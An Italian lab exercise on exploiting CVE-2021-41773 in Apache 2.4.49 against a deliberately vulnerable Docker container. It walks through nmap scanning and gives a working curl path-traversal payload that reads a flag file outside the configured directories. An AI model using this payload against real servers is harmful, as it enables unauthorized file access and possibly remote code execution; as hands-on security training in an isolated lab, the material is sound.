È stata trovata una falla in una modifica apportata alla normalizzazione dei percorsi in Apache HTTP Server 2.4.49. Un attaccante potrebbe utilizzare un attacco di path traversal per mappare gli URL a file al di fuori delle directory configurate da direttive simili ad Alias. Se i file al di fuori di queste directory non sono protetti dalla consueta configurazione predefinita "require all denied", queste richieste possono avere successo. Se gli script CGI sono anche abilitati per questi percorsi alias, ciò potrebbe consentire l'esecuzione remota di codice. Questo problema riguarda solo Apache 2.4.49 e non le versioni precedenti.
Crediti introduttivi a: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773
L'obiettivo dell'esercitazione è sfruttare la vulnerabilità presente in Apache 2.4.49. Per poterla sfruttare è necessario utilizzare un "path traversal attack" per mappare i file al di fuori delle cartelle preconfigurate e creare una sorta di shell remota.
Per l'esercitazione è comodo utilizzare un docker vulnerabile ad hoc presente su docker hub:
Link: https://hub.docker.com/r/m96dg/pw_apache_2_4_49
$docker pull m96dg/pw_apache_2_4_49

Per poter vedere le immagini dei docker pullate:
$docker images
Eseguire il docker sulla porta 8080:
$docker run -dit -p 8080:80 m96dg/pw_apache_2_4_49
Per poter verificare che sia effettivamente in esecuzione:
$docker ps

Come si vede il web server è perfettamente funzionante:

Fase di scansione (cerchiamo di raccogliere quante più informazioni possibili dall'host):
$nmap -sS -p- -T4 -Pn -oA portScan localhost

Fase di enumerazione (cerchiamo di approfondire le informazioni andando ad enumerare le porte trovate in fase di scansione):
$nmap -sV -sC -oA versionScan localhost

Per poter effettuare l'attacco, è necessario lanciare questo comando e provare a trovare la flag (qualora sia inserita in root):
$curl http://[IP]:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/flag.txt

Per avere certezza che l'esercitazione sia andata a buon fine, e che la flag sia effettivamente quella trovata, confrontare la stringa con la sua decriptazione in Md5 ("HaiTrovatoLaFlag_Apache"). Se le due stringhe combaciano, allora il gioco è fatto!